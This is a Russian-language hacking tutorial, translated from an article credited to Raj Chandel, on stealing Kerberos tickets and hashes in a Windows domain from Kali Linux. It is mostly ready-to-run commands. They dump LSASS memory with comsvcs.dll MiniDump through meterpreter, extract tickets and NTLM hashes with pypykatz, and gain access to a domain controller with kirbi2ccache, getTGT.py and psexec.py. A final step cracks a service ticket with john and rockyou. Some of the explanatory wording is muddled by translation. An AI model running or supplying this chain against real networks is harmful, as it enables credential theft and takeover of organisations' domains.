В этой статье пойдет речь о том, как удаленно получить данные с помощью Kerberoasting и Pass The Ticket на Kali Linux. Kerberoasting характеризуется поперечным движением, поэтому, как только хакер проник в клиентскую систему домена и получил шелл компьютера, нужно использовать данный метод для нарушения эксплуатации Kerberos.
Содержание
Pass the ticket
- kirbi2ccache
- py
Kerberoasting
- Kirbi2john
Pass the Ticket: kirbi2ccache
Для того чтобы использовать Kerberos против атак Pass The Ticket или Kerberoasting нужно импортировать файл DMP в локальную машину (Kali Linux) через клиентскую машину и выполнить следующую команду посредством сеанса meterpreter.
load powershell
powershell_shell
Get-Process Lsass
cd C:\Windows\System32
.\rundll32.exe comsvcs.dll, MiniDump 628 C:\lsass.DMP full
Зачем нужен файл Lsass.DMP?
Потому что он хранит билеты TGT & TGS в формате kirby в течение некоторого времени, и с помощью этого файла хакер может получить следующую информацию:
- NTLM HASH пользователя
- Билет KRB5_TGT
- Билет KRB5_TGS
- NTLM HASH сервера
После того, как был взломан lsass.dmp, следует загрузить его на свой локальный компьютер для извлечения файлов kirby.
download lsass.DMP /root/Desktop/
Надо установить pypykatz для извлечения сохраненных билетов Kerberos в формате Kirby из файла Lsass.DMP, выполнив следующие команды:
mkdir /root/kerb
pypykatz lsa -k /root/kerb minidump /root/Desktop/lsass.DMP
Как можно заметить, пользователь получил все билеты Kerberos в формате kirby, а также хэш NTLM для пользователя Yashika.
В данном случае используется билет KRB5_TGT, авторизованный для пользователя “Yashika”. Нужно попробовать его активировать, чтобы получить TGS и добраться к необходимым функциям
Kirbi2ccache — это скрипт python, который относится к библиотеке Impacket, Преобразуя файл формата kirbi в ccache, а затем используя Export KRB5CCCNAME для внедрения файла ccache в DC, пользователь сможет получить доступ к запрашивающему сервису.
kirbi2ccache TGT_IGNITE.LOCAL_yashika_krbtgt_IGNITE.LOCAL_6d469878.kirbi yashika.ccache
export KRB5CCNAME=yashika.ccache; psexec.py -dc-ip 192.168.1.105 -target-ip 192.168.1.105 -no-pass -k ignite.local/yashika@WIN-S0V7KMTVLD2.ignite.local
Impacket GetTGT.py
Аналогичный результат может быть получен с помощью getTGT.py, так как он запросит TGT и сохранит его как ccache, предоставив пароль, хэш или aesKey.
Для пользователя Yashika уже был извлечен хэш NTLM. Теперь необходимо использовать следующую команду, чтобы запросить TGT от DC и сохранить его в формате ccache. Сбоку появится возможность ввести файл ccache в DC с помощью Export KRB5CCNAME, чтобы получить доступ к запрашивающему сервису.
python getTGT.py -dc-ip 192.168.1.105 -hashes :64fbae31cc352fc26af97cbdef151e03 ignite.local/yashika
export KRB5CCNAME=yashika.ccache; psexec.py -dc-ip 192.168.1.105 -target-ip 192.168.1.105 -no-pass -k ignite.local/yashika@WIN-S0V7KMTVLD2.ignite.local
Kerberosasting: kirbi2john
Как уже было сказано, с помощью хранящихся KRB5_TGS можно извлечь хэши NTLM для сервера обслуживания и попытаться взломать его, чтобы получить пароль в открытом тексте или использовать этот хэш для проведения атаки Kerberosasting.
Теперь, как видно на картинке, был определен KRB5_TGS для SQL Server в формате kirbi и после преобразован в формат john crackable с помощью kirbi2john.py (возможно в /usr / share/john/ он называется «TGS hash»); затем используется john для получения пароля с помощью лобовой атаки.
/usr/share/john/kirbi2john.py <KRB5_TGS kirbi> > <Output file name>
john --wordlist=/usr/share/wordlists/rockyou.txt TGS_hash
Ура! Пароль для SQL-сервера получен.
Автор переведенной статьи: Raj Chandel